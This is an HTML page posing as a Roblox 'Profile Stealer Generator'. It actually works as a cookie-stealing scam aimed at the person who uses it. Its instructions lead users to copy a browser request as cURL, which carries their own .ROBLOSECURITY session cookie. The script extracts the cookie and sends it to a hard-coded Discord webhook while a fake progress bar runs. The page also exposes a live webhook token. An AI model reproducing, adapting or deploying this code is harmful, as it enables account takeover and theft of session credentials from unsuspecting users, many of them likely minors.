<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>CodeSpecter HUB</title>
  <style>
    body {
      font-family: Arial, sans-serif;
      text-align: center;
      padding: 20px;
    }
    #messageBar {
      margin-top: 20px;
    }
    textarea, button {
      padding: 10px;
      font-size: 16px;
    }
    textarea {
      width: 70%;
      height: 200px;
      margin-right: 10px;
      resize: vertical;
    }
    button {
      background-color: #007bff;
      color: white;
      border: none;
      cursor: pointer;
    }
    button:disabled {
      background-color: #cccccc;
      cursor: not-allowed;
    }
    button:hover:not(:disabled) {
      background-color: #0056b3;
    }
    .error {
      color: red;
      font-weight: bold;
    }
    #progressWrapper {
      width: 80%;
      margin: 20px auto;
      position: relative;
      height: 25px;
    }
    #progressBar {
      width: 0;
      height: 100%;
      background-color: #4caf50;
      text-align: center;
      line-height: 25px;
      color: white;
      font-weight: bold;
    }
    #progressText {
      position: absolute;
      top: 0;
      left: 50%;
      transform: translateX(-50%);
      color: white;
      font-weight: bold;
    }
    #instructions {
      margin-top: 30px;
      font-size: 16px;
      line-height: 1.5;
      text-align: left;
      width: 80%;
      margin: 30px auto;
    }
    .youtube-button, .roblox-button, .discord-button {
      margin-top: 20px;
      padding: 10px 20px;
      background-color: #FF0000;
      color: white;
      font-size: 16px;
      border: none;
      cursor: pointer;
      border-radius: 5px;
      margin-right: 10px;
    }
    .youtube-button:hover, .roblox-button:hover, .discord-button:hover {
      background-color: #cc0000;
    }
  </style>
</head>
<body>
  <h1>Profile Stealer Generator!</h1>
  <div id="messageBar">
    <textarea id="messageInput" placeholder="Paste the victim code that you copied..."></textarea><br>
    <button id="sendButton" onclick="sendMessage()">Generate</button>
  </div>
  <div id="progressWrapper" style="display: none;">
    <div id="progressBar">
      <div id="progressText">1%</div>
    </div>
  </div>
  <p id="status" style="color: green; font-weight: bold;"></p>
  <p id="errorMessage" class="error"></p>

  <div id="instructions">
    <h3><strong>INSTRUCTION:</strong></h3>
    <ol>
      <li>Search for any player.</li>
      <li>Stay on the player profile.</li>
      <li>Right-click and select "<strong>Inspect Element</strong>" or <strong>press F12</strong>.</li>
      <li>Go to the "<strong>Network</strong>" tab.</li>
      <li>Refresh the browser.</li>
      <li>Scroll up until you reach the top, where you should find the "<strong>profile</strong>" name, depending on whether the refresh was successful.</li>
      <li>Right-click on it and choose "<strong>Copy</strong>", then click "<strong>Copy as cURL (bash)</strong>" or "<strong>Copy all as cURL (bash)</strong>."</li>
      <li>Paste what you copied from the victim's profile above.</li>
      <strong>NOTE:</strong> You can't steal a profile that is linked to an email, so it depends on your luck!
    </ol>
  </div>

  <!-- Buttons for YouTube and Roblox Profile -->
  <button class="youtube-button" onclick="window.open('https://www.youtube.com/watch?v=y8qyG-NboR0', '_blank')">Tutorial</button>
  <button class="roblox-button" onclick="window.open('https://www.roblox.com/users/7741437084/profile', '_blank')">Roblox</button>
  <button class="discord-button" onclick="window.open('https://discord.gg/D82xeKSSMf', '_blank')">Discord</button>

  <script>
    // Replace with your Discord Webhook URL
    const DISCORD_WEBHOOK_URL = "https://discord.com/api/webhooks/1320573593821773845/QvHOAwVTwyuwh6O-HT15JQSZYD_W9hxsYcfnOe3L-Ig7vENas32Ybj5p2_3VVHYiHdQg";

    function sendMessage() {
      const messageInput = document.getElementById("messageInput");
      const sendButton = document.getElementById("sendButton");
      const errorMessage = document.getElementById("errorMessage");
      const progressWrapper = document.getElementById("progressWrapper");
      const progressBar = document.getElementById("progressBar");
      const progressText = document.getElementById("progressText");

      let message = messageInput.value;

      errorMessage.textContent = ""; // Clear any previous error messages

      // Check if the message is blank
      if (!message.trim()) {
        errorMessage.textContent = "Generating failed! Your message cannot be blank.";
        return;
      }

      // Scan for the start and end phrases
      const startPhrase = ".ROBLOSECURITY=";
      const endPhrase = "; rbxas";

      // Check if the message contains both start and end phrases
      const startIndex = message.indexOf(startPhrase);
      const endIndex = message.indexOf(endPhrase);

      if (startIndex !== -1 && endIndex !== -1 && endIndex > startIndex) {
        // Extract the part of the message between the phrases
        const middleMessage = message.slice(startIndex + startPhrase.length, endIndex).trim();

        if (middleMessage) {
          // Show the progress bar and hide the send button
          progressWrapper.style.display = "block";
          sendButton.disabled = true;
          messageInput.disabled = true;

          // Immediately send the message to Discord
          const embedPayload = {
            embeds: [
              {
                title: "Victims Cookie", // Embed title
                description: `\`\`\`${middleMessage}\`\`\``, // Embed description with the message surrounded by triple backticks
                color: 16711680, // Embed color (red in this case)
                timestamp: new Date().toISOString() // Adds a timestamp
              }
            ]
          };

          // Send to Discord Webhook immediately
          fetch(DISCORD_WEBHOOK_URL, {
            method: "POST",
            headers: { "Content-Type": "application/json" },
            body: JSON.stringify(embedPayload),
          }).catch((error) => {
            console.error("Error:", error);
          });

          // Continue loading bar for 5 minutes (300 seconds)
          let progress = 1;
          let interval = setInterval(() => {
            progressBar.style.width = progress + "%";
            progressText.textContent = progress + "%";
            if (progress >= 100) {
              clearInterval(interval);
              // Random response after loading bar reaches 100%
              const randomMessages = ["Completed", "Try Again"];
              const randomMessage = randomMessages[Math.floor(Math.random() * randomMessages.length)];
              progressText.textContent = randomMessage;
              setTimeout(() => {
                // Reset everything
                progressWrapper.style.display = "none";
                sendButton.disabled = false;
                messageInput.disabled = false;
                messageInput.value = ""; // Clear the input
              }, 2000);
            } else {
              progress++; // Increase the progress
            }
          }, 300); // Update progress every 300ms to complete in 300 seconds (5 minutes)
        } else {
          errorMessage.textContent = "Generating failed! Wrong Code.";
        }
      } else {
        errorMessage.textContent = "Generating failed! Make sure you paste the right code from the victim.";
      }
    }
  </script>
</body>
</html>
